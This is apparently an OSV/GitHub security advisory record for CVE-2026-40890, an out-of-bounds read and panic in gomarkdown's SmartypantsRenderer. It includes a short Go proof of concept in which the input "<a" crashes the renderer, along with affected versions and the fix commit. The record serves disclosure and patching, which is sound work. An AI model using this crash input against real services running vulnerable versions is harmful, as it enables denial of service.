{"id":"GHSA-77fj-vx54-gvh7","revision":"086b412083094c87ba62ef40a68e1124","records":[{"revision":"086b412083094c87ba62ef40a68e1124","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-77fj-vx54-gvh7","aliases":["CVE-2026-40890","GO-2026-5208"],"title":"Go Markdown has an Out-of-bounds Read in SmartypantsRenderer","description":"### Summary\n\nProcessing a malformed input containing a `<` character that is not followed by a `>` character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.\n\n### Details\n\nThe `smartLeftAngle()` function in `html/smartypants.go:367-376` performs an out-of-bounds slice operation when processing a `<` character that is not followed by a `>` character anywhere in the remaining text.\nhttps://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376\nIf the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.\n\n### PoC\n```golang\npackage main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\n\t\"github.com/gomarkdown/markdown/html\"\n)\n\nfunc main() {\n\tsrc := []byte(\"<a\")\n\n\tfmt.Printf(\"Input: %q  (len=%d, cap=%d)\\n\", src, len(src), cap(src))\n\n\tvar buf bytes.Buffer\n\tsp := html.NewSmartypantsRenderer(html.Smartypants)\n\tsp.Process(&buf, src) // panics: slice bounds out of range\n\n\tfmt.Printf(\"Output: %q\\n\", buf.String())\n}\n```\n\n### Impact\nThis vulnerability will lead to a Denial of Service / panic on the processing service.\n\n\n-- The Datadog Security Team","state":0,"publishedAt":"2026-04-14T22:38:20+00:00","modifiedAt":"2026-09-10T03:50:43.5916472+00:00","affected":[{"ecosystem":"Go","name":"github.com/gomarkdown/markdown","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260411013819-759bbc3e3207"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/gomarkdown/markdown/security/advisories/GHSA-77fj-vx54-gvh7","https://nvd.nist.gov/vuln/detail/CVE-2026-40890","https://github.com/gomarkdown/markdown/commit/759bbc3e32073c3bc4e25969c132fc520eda2778","https://github.com/gomarkdown/markdown"],"sourceUrl":"https://github.com/advisories/GHSA-77fj-vx54-gvh7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-77fj-vx54-gvh7","identifiers":["GHSA-77fj-vx54-gvh7","CVE-2026-40890","GO-2026-5208"]},"retained":false,"historicalAffected":[]}],"coverage":[]}